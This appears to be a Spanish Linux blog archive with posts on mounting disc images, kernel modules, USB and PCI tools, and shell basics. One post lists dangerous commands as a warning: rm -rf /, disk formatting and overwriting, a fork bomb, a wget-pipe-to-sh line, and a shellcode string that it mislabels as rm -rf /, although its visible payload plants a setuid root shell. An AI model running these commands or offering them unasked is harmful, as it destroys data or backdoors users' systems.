sudo apt-get install bchunk

(nota: si así no puedes instalarlo puede encontrar el programa aquí: bchunk)

y cuando se haya instalado procederemos a convertir la imagen bin con
su archivo cue correspondiente a un solo archivo iso:

bchunk archivo.bin archivo.cue nuevonombre.iso

Ahora ya tendrás un nuevo archivo iso que podrás montar como se
explica más arriba.

Montar imágenes NRG (imágenes de Nero Burning Rom):

Las imagenes NRG pueden ser montadas directamente sin necesidad de convertirlas:

mount -t iso9660 -o loop,offset=307200 imagen.nrg /directorio/de/montaje

(gracias Tux)

Si tienes algún problema con ese método o deseas convertir la imagen
NRG a ISO deberás usar el programa nrg2iso, para instalarlo haremos:

sudo apt-get install nrg2iso

(nota: si así no puedes instalarlo puede encontrar el programa aquí: Nrg2Iso)
y cuando ya esté instalado, para convertir la imagen:

nrg2iso archivo.nrg nuevoarchivo.iso

y para montar la imagen ISO simplemente debes seguir las instrucciones
detalladas más arriba.

Montar imágenes MDF y MDS

De nuevo utilizaremos un programa para convertir antes la imagen mdf a
iso. El programa tiene el original nombre de mdf2iso. Para instalarlo:

sudo apt-get install mdf2iso

(nota: si así no puedes instalarlo puede encontrar el programa aquí: Mdf2Iso)
y una vez instalado convertiremos el archivo MDF a ISO:

mdf2iso archivo.mdf nuevaimagen.iso

Montar imágenes IMG

Usaremos el programa CCD2ISO. Este programa no lo he podido descargar
desde los repositorios oficiales de Ubuntu pero de todos modos no
estaría de más que intentases instalarlo por apt-get así:

sudo apt-get install ccd2iso

Si de este modo no puedes instalarlo puedes seguir las instrucciones
de esta página para bajar el paquete deb de ccd2iso e instalarlo
facilmente.

Si por cualquier motivo no pudieses conseguir el programa por esos dos
métodos siempre puedes descargarlo desde su página: Ccd2Iso (ojo,
tendrás que compilarlo)

Para instalarlo de este último modo descargamos el archivo que sera
algo así como “ccd2iso-0.2.tar.gz” (puede variar la versión) y primero
lo descomprimimos así:

tar -xzvf ccd2iso-0.2.tar.gz

Ahora que tendremos una carpeta llamada “ccd2iso”, hacemos lo siguiente:

cd ccd2iso

./configure

make
make install

Con esto ya tendremos instalado el programa ccd2iso. Finalmente para
convertir la imagen ccd a iso hacemos:

ccd2iso imagen.img imagen.iso

Y montaremos la imagen iso recien creada como se explica más arriba en
esta misma guía.

Montar imágenes DAA

El formato DAA es un formato que utiliza el programa Poweriso. Durante
algún tiempo este formato resultaba muy dificil de utilizar en Linux
(no había versión de Poweriso para linux y la emulación con wine no
funcionaba). Finalmente los creadores del programa sacaron una versión
gratuita de su programa para Linux que además nos sirve para convertir
otros formatos.

Pero vamos al grano, para convertir una imagen DAA a ISO primero
necesitaremos la versión linux de poweriso que podemos bajar desde
esta página (parte de abajo) o bien de esta forma :

wget http://poweriso.com/poweriso.tar.gz

Descomprimimos:

tar -zxvf poweriso.tar.gz

Y convertimos a ISO:

./poweriso convert imagen.daa -o nuevaimagen.iso

domingo, 18 de julio de 2010

Buscar paquetes instalados en Debian

fuente:

http://www.matware.com.ar/debian/buscar-paquetes-instalados-en-debian.html

A veces necesitamos saber los nombres de los paquetes que tenemos instalados en nuestro sistema.

El comando "dpkg -l | grep PAQUETE" nos devuelve la larga lista, pero a veces no se ven bien (se cortan los nombres).

La solucion a esto:

$ COLUMNS=200 dpkg -l |grep ^ii | awk '{ print $2}' | grep PAQUETE

viernes, 16 de julio de 2010

Descargar las ISO de los DVD de Debian, con jigdo

Fuente: http://crysol.org/es/node/35

Cómo utilizar la herramienta jigdo para descargar las ISO de los CDs y DVDs de Debian.

Ingredientes

  • Paquete jigdo-file

Conseguir los ficheros .jigdo

Por ejemplo, puedes bajar unos actualizados de http://cdimage.debian.org/debian-cd/current/i386/jigdo-dvd/

Con wget sería:

$ wget http://cdimage.debian.org/…/debian-40r3-i386-DVD-*.jigdo

Utilizar jigdo-lite

Ahora hay que bajar las plantillas de las ISO y componerlas. Eso se hace ejecutando jigdo-lite con cada fichero .jigdo

$ jigdo-lite debian-40r3-i386-DVD-1.jigdo

El programa pide que indiques el mirror que quieres utilizar para obtener los paquetes. Por defecto utiliza el primer mirror que tengas en /etc/apt/sources.list.

Todo a la vez

jigdo-lite puede utilizar ficheros .jigdo directamente del servidor y además tiene modo bacth (como todo programa decente). Así que puedes hacerlo todo escribiendo “simplemente”:

$ echo | jigdo-lite http://cdimage.debian.org/…/debian-40r3-i386-DVD-{1,2,3}.jigdo

Este comando se baja los tres ficheros .jigdo, sus plantillas correspondientes y después todos los paquetes. Por último, genera las imágenes ISO de los DVDs que puedes tostar por ejemplo con @cdrecord@.

domingo, 11 de julio de 2010

Ver temperatura de la CPU desde la consola


Filed under: Comandos — Etiquetas: — Garbu @ 10:23 pm

Ultimamente no quito el ojo a la temperatura que alcancen mis máquinas, sobre todo los portátiles que poseo ya que con altas temperaturas no solo comienza un mal funcionamiento sino que podemos dañar alguna parte interna del ordenador.

Habitualmente en el modo gráfico lo tenia muy fácil, en Windows usaba un sencillo programa llamado CoreTemp, y en Ubuntu es muy facil instalar un monitor con la temperatura actual de la máquina usando lm-sensors, claro que esta propiedad es para los entornos gráficos de Ubuntu.

Pero…¿ como ver este dato desde la consola ?

Pues googleando he encontrado el paquete acpi que nos ofrece información del estado de la batería en el caso de que manejemos un portatil y otra información relacionada, una de ellas, la temperatura actual de nuestra/s CPU/s. Sin más, como instalarlo y ejecutarlo:

# Instalamos el paquete acpi

sudo apt-get install acpi

# Para ver tanto el estado de la batería como la temperatura del procesador

acpi -t

# Si queremos ver toda la información posible ( temperatura, batería, y estado del cargador de corriente )

acpi -V

# Y para ver cualquiera de estas informaciones en tiempo real, usamos el útil comando watch

watch acpi -V

Ya podemos vigilar cuando podemos echar el huevo frito a calentar :)

jueves, 27 de mayo de 2010

7 comandos peligrosos para Linux

Si eres nuevo en Linux, las oportunidades de que alguién te engañe diciendote que uses algún comando para destruir tu sistema son muy altas, por eso es bueno conocer los comandos más peligrosos para GNU/Linux, en Tech Source from Bohol hay un listado de los 7 comando más mortales para Linux, (traducción en Nierox) , algunos de estos comandos pueden formatear el disco duro, dañar los archivos, etc.

  1. rm -rf /
    Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comando rm -rf /.
  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Esta es la versión hexadecimal de rm-rf / que pueden engañar hasta a los usuarios expertos de Linux.
  3. mkfs.ext3 /dev/sda
    Este comando formatea la partición que se menciona después de mkfs.
  4. :(){:|:&};:
    A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.
  5. any_command > /dev/sda
    Este comando provoca perdida total de datos, en la particion que se menciona en el comando
  6. wget http://alguna_fuente_no_confiable -O- | sh
    Esto descarga paquetes de alguna fuente no confiable y la ejecuta, debes tener mucho cuidado ya que puede ser código malicioso
  7. mv /home/tu-carpeta-home/* /dev/null
    Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.

Por ninguna razón vayas a ejecutar estos comando en Linux, esto es más bien con fines didácticos.

sábado, 20 de febrero de 2010

Shell – trucos

uso del tab
uso de las teclas de dirección, historia de comando 500
movimiento rapido Ctrl+p .... Ctrl+N
Búsqueda Ctrl-R
Movimiento en la línea Ctrl-A Ctrl-E y Ctrl-B Ctrl-F
Borrado de texto, carácter Ctrl-D y hasta el finalCtrl-K
Borrado de historial, history –c
transpocición de texto presionanto Ctrl+t

viernes, 19 de febrero de 2010

comandos

Visualiza directorio de trabajo
pwd
Visualiza una línea de texto
echo
Ejecutar un programa y salir de term
exec
./programa ejecutable bash u copilado
Tiempo de ejecución de un comando o programa
time
Establecer opciones de bash
set
Terminar shell
exit , logout

cd

cd loquesea

Cambia al directorio loquesea del directorio actual o del directorio que figura en la variable CDPATH. Véase el comando cd de builtins(7).

cd /

Cambia al directorio raíz.

cd

Cambia al directorio personal del usuario actual.

cd /loquesea

Cambia al directorio /loquesea.

cd ..

Cambia al directorio padre.

cd ~loquesea

Cambia al directorio loquesea del directorio personal del usuario.

cd -

Cambia al directorio anterior.

shell o interprete de comandos

El interprete de comandos es la interfaz entre el usuario y el sistema operativo. Por esta razón, se le da el nombre ingles "shell", que significa caparazón.
existen varios Shell:
Bash "Bourne again shell".- Se basa en los principios de Bourne shell de Unix, es la shell por defecto en linux.

Bsh.- "The bourne shell" es en el que bash se basa, no es a menudo usado en linux, aunque el comando bsh suele ser un enlace simbólico a bash.

tcsh "tenex C shell": es una shell bastante popular en algunos circulos, pero no principales distribuciones de linux para el shell por defecto. Aunque es similar al bash en muchos aspectos, difieren en algunos detalles como asignar variables de entorno.

Csh "c shell" el shell C original no es muy usado en linux, pero si un usuario esta familiarizado con csh, tcsh hace un buen sustituto.


Ksh "korn shell" fue diseñado para tomar las mejores características de la bourne shell y el shell C y ampliarlos aún más.

Zsh "Zero shell": Shell tiene la evolución más allá de la Shell Korn, incorporando características.

cada una de las vistas se diferencia de la anterior en que mejora y complementa las órdenes existentes y añade nuevas posibilidades.

cada usuario tiene una shel predeterminada, la cual se activará cuando se abra un indicador del comando. La shell predeterminada, se especifica en el archivo de configuración /etc/password en el último campo de la línea que corresponde al usuario.

esto es resultado de cat /etc/password
6:/home/christian:/bin/bash

Es posible cambiar de shell durante la sesión. Para esto, sólo debe ejecutar el archivo ejecutable correspondiente o bin/bash

saber que shell uso:
echo $SHELL

saber que versión de shell uso:
echo $BASH_VERSION

ubicación del comando.
whereis bash

Debian:/home/christian# whereis bash
bash: /bin/bash /etc/bash.bashrc /usr/share/man/man1/bash.1.gz

mostrar las shell de mi linux
Debian:/home/christian# cat /etc/shells
# /etc/shells: valid login shells
/bin/csh
/bin/sh
/usr/bin/es
/usr/bin/ksh
/bin/ksh
/usr/bin/rc
/usr/bin/tcsh
/bin/tcsh
/usr/bin/esh
/bin/bash
/bin/rbash
/bin/dash


para cambiar la shell por default
chsh -s /bin/bash

el comando
chsh - change login shell

viernes, 15 de enero de 2010

Linux USB Drivers:

USB es un protocolo y un puerto de hardware para la transferencia de datos desde dispositivos, por el puerto de interfaz ATA o SCSI y proporciona una mejor velocidad que el puerto serie RS-232 y puertos paralelos. el USB 1.0 y 1.1 permiten hasta 127 dispositivos y 12 Mbps de tranferencia de datos. el USB 2.0 permite velocidades mayores a 480 Mbps.

Varios diferentes controladores estan disponibles, con nombres tales como UHCI, OHCI, EHCI y R8A66597. Las distribuciones Linux vienen con los controladores para el común de los USB activados, por lo que debe activarse automáticamente al arrancar el ordenador. UHCI y OHCI manejan dispositivos USB 1.x, pero la mayoría de los controladores pueden manejar los dispositivos USB 2.o
Un modo sencillo de mostrar la información Básica de los dispositivos USB es el comando lsusb.

ejemplo lsusb
#lsusb
Bus 002 Device 005: ID 413c:8156 Dell Computer Corp. Wireless 370 Bluetooth Mini-card
Bus 002 Device 003: ID 413c:8157 Dell Computer Corp. Integrated Keyboard
Bus 002 Device 004: ID 413c:8158 Dell Computer Corp. Integrated Touchpad / Trackstick
Bus 002 Device 002: ID 0a5c:4500 Broadcom Corp. BCM2046B1 USB 2.0 Hub (part of BCM2046 Bluetooth)
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 002: ID 08ff:2810 AuthenTec, Inc.
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 004: ID 05ca:18a0 Ricoh Co., Ltd
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 007 Device 002: ID 0458:003a KYE Systems Corp. (Mouse Systems)
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

-v :
información extendida sobre el producto.

-s [[bus]:][devnum]
restringe el resultado del bus y se especifica en el número del dispositivo.

-d [vendor]:[product] :
limita a un proveedor en particular y un producto. El vendedor y el producto son los códigos de identificación en cada linea de la salida de lsusb.

-D
muestra información sobre el dispositivo a través de nombre de archivo, en el directorio/proc/bus/usb.

-t
muestra la lista de dispositivos como un árbol de modo que podamos ver mas fácilmente que dispositivos están conectados a controladores específicos.

-- version
muestra la versión de la utilidad.


A principios para utilizar los dispositivos USB requiría un controlador independiente para cada dispositivo. Muchos de estos controladores permanecer en el núcleo, y algún software se basa en ellos. Por ejemplo, los dispositivos de almacenamiento USB que utilizan los controladores de disco de almacenamiento USB interactúan con el soporte de Linux SCSI, siendo discos duros USB, discos extraíbles, y así parecen dispositivos SCSI.

Linux es la migración hacia un modelo en el que un sistema de archivos USB proporciona acceso a los dispositivos USB. Este sistema de archivos aparece como parte del sistema de archivos virtual /proc.
En particular, la información del dispositivo USB es accesible desde /proc/bus/usb. Los subdirectorios de /proc/bus/usb se dan nombres numerados en función de los controladores USB instalado en el equipo, como en /proc/bus/usb/001 para el primer controlador USB. El software puede acceder a los archivos en estos directorios para control de los dispositivos USB en lugar de utilizar los archivos de dispositivo en /dev como con la mayoría de dispositivos de hardware.


Removiendo los módulos del kernel

A veces es posible que se desee quitar un módulo cargado. Las razones podría ser, la recuperación de pequeña cantidad de memoria, eliminación de un módulo antiguo para que pueda cargar un módulo actualizado, y la eliminación de un módulo que se sospecha que no es fiable. El trabajo de la eliminación de un módulo del kernel se hace mediante el comando rmmod, que es algo de lo contrario de insmod. El comando rmmod toma un nombre de módulo con una opción, en lugar de un nombre de archivo del módulo.
#rmmod floppy
-v or - -verbose : opción le dice a rmmod mostrar información extra sobre lo que está haciendo. Esto puede ser útil si está solucionando un problema.

-f or --force : fuerza la eliminación del módulo, esta opción no tiene efecto si esta marcada la opción del núcleo CONFIG_MODULE_FORCE_UNLOAD.

-w or --wait : detiene la eliminación de un módulo hasta que deje de ser usado, después es desistalado.

insmod y rmmod operan en un solo módulo. si se intenta remover un módulo que dependa de otros rmmod devolverá un mensaje de error. Si deseamos remover un módulo y todos los que dependen se puede utilizar el comando modprobe y su opción -r.

Cargando Modulos del Kernel

Linux permite cargar módulos del núcleo con dos programas ismod y modprobe. El programa insmod inserta un modulo en el kernel y este proceso requiere que conozcamos los módulos en que se basa. El programa modprobe carga automáticamente cualquier dependencia y es la mejor forma.

Linux puede cargar módulos automáticamente, esta capacidad se basa en un auto-loader del kernel que hace la función de cargador, entonces insmod y modprobe puede ser útil para probar nuevos módulos y evitar problemas con el auto-loader.

insmod /lib/modules/2.6.26/kernel/drivers/block/floppy.ko

o

modprobe floppy
con modprobe carga todas las dependencias del módulo automaticamente.

////////////////////////////////////////////////////////

-v o --verbose
muestra información acerca de sus operaciones, esto incluye un resumen de todas las operaciones que realiza insmod.

-C --config
El programa modprobe usa un archivo de configuración llamado / etc / modprobe.conf.
modprobe -C /etc/mymodprobe.conf floppy

-n or --dry-run
Hace que modprobe realice todas las operaciones, excepto las inserción real del módulo. Puede utilizar esta opción junto con-v para ver qué haría modprobe sin cargar el módulo.

-r or –remove
Eliminar el módulo especificado y cualquier de sus dependencias. (Si las dependencias de módulos están utilizadas no se eliminan.)

-f or –force : opción le dice a modprobe para forzar la carga del módulo, incluso si la versión del núcleo no coincide con lo que el módulo espera.

--show-depends : opción muestra todos los módulos en los que el módulo especificado depende. No instala modulo

-l or –list : opción muestra una lista de opciones disponibles cuyos nombres coinciden con el comodín que usted especifique. Por ejemplo, escribiendo modprobe -l v* muestra todos los módulos cuyos nombres comienzan con v. Si no proporcionan comodín, modprobe muestra todos los módulos disponibles. No instala módulos.



Módulos del kernel

El hardware en Linux es manejado por los controladores del núcleo, muchos de los cuales vienen en forma de módulos del Kernel, estos archivos se almacenan en /lib/modules y pueden ser cargados y descargados, para proporcionar acceso al hardware. Normalmente las cargas de los módulos se hacen al arranque del sistema, pero podemos cargar módulos adicionales.

La columna más importante de esta producción es el primero, denominado Módulo; esta columna se especifican los nombres de todos los módulos que se cargan actualmente. Se puede aprender más acerca de estos módulos con modinfo.

ejemplo de lsmod

DebianBox:~# lsmod
Module Size Used by
binfmt_misc 7088 1
loop 13288 0
snd_intel8x0 26584 0
snd_ac97_codec 91264 1 snd_intel8x0
snd_pcm 62416 2 snd_intel8x0,snd_ac97_codec
....

ahora ejecutamos modinfo
ejemplo:
DebianBox:~# modinfo psmouse
filename: /lib/modules/2.6.30-2-686/kernel/drivers/input/mouse/psmouse.ko
license: GPL
description: PS/2 mouse driver
author: Vojtech Pavlik
alias: serio:ty05pr*id*ex*
alias: serio:ty01pr*id*ex*
depends:
vermagic: 2.6.30-2-686 SMP mod_unload modversions 686
parm: proto:Highest protocol extension to probe (bare, imps, exps, any). Useful for KVM switches. (proto_abbrev)
parm: resolution:Resolution, in dpi. (uint)
parm: rate:Report rate, in reports per second. (uint)
parm: smartscroll:Logitech Smartscroll autorepeat, 1 = enabled (default), 0 = disabled. (bool)
parm: resetafter:Reset device after so many bad packets (0 = never). (uint)
parm: resync_time:How long can mouse stay idle before forcing resync (in seconds, 0 = never). (uint)
///////////////////////////////////////////////////////////////////////////////

La columna Used de la salida de lsmod describe lo que esta utilizando el módulo, todos tienen un número que indica el número de otros módulos o procesos que está utilizando el módulo.

El comando lsmod muestra sólo información sobre módulos del kernel, no de los drivers que se compilan directamente en el kernel de linux. Por esta razón, un módulo puede ser cargado en un sistema, pero no en otro para el mismo hardware, porque el segundo sistema puede compilar el driver correspondiente directamente en el núcleo.

Configurando PCI

Muchos dispositivos requieren configurar IRQ, puertos I/O, DMA pero no todos los dispositivos utilizan los tres recursos, este proceso antes era tedioso y se hacia mediante jumpers, ahora se puede configurar mediante software.
El bus PCI es un bus de expansión y fue diseñado con la tecnología Plug-and-Play (PnP) en la mayoría de dispositivos esto es de forma automática, y no hay necesidad de hacer algún cambio, pero se puede ajustar los dispositivos de varias maneras.
La mayoría de BIOS tienen opciones de cambiar la forma de los recursos
El kernel de Linux tiene una opción que afecta a la forma en que detecta los dispositivos PCI
Algunos controladores de Linux hacen que se configure el hardware, debemos consultar los archivos de la documentación para los detalles o como opciones de módulos.
Podemos utilizar setpci para ajustar las configuraciones su sabemos lo suficiente de hardware, pero no es muy usado para ajustar IRQ, I/O o DMA.

lspci
Podemos comprobar cómo los dispositivos PVI son configurados, el comando lspci es utilizado para este propósito y muestra toda la información de los buses PCI y todos los dispositivos conectados a los buses.
-v
Incrementa la verbosidad de la salida. Esta opción puede ser duplicado (-vv) o triplicado (-vvv) para producir una salida aún mayor.

-n
muestra la información en códigos numéricos en lugar de nombres de fabricante y los nombres de dispositivos.


-nn
Muestra tanto los fabricantes como los nombres y sus códigos.

-x
Muestra la configuración PCI para cada dispositivo en hexadecimal. -xxx triplica -xxxx cuadriplica.


-b muestra en múmero de IRQ como es visto por otros dispositivos en vez de como es visto por el núcleo.

-t
Muestra una vista en árbol la relación de los dispositivos.

-s [[[[domain]:] bus]:][slot][.[func]]
Muestra sólo los dispositivos que coinciden con la especificación de la lista.

-d [vendor]:[device]
Muestra los datos del dispositivo especificado.

-i file
Utiliza el archivo especificado para mapear proveedores y identificadores de dispositivos por defecto el archivo es /usr/share/misc/pci.ids

-m
Volcado de datos en formato compatible para versiones anteriores de scripts. -mm es para nuevo formato.

-D
Muestra los números de dominio PCI. Estos números normalmente no se muestran.

-M
Realiza un escaneo de asignación de Bus, puede revelar dispositivos ocultos o mal configurados, esta opción puede ser ejecutada por root.

--version
Muestra información de la versión.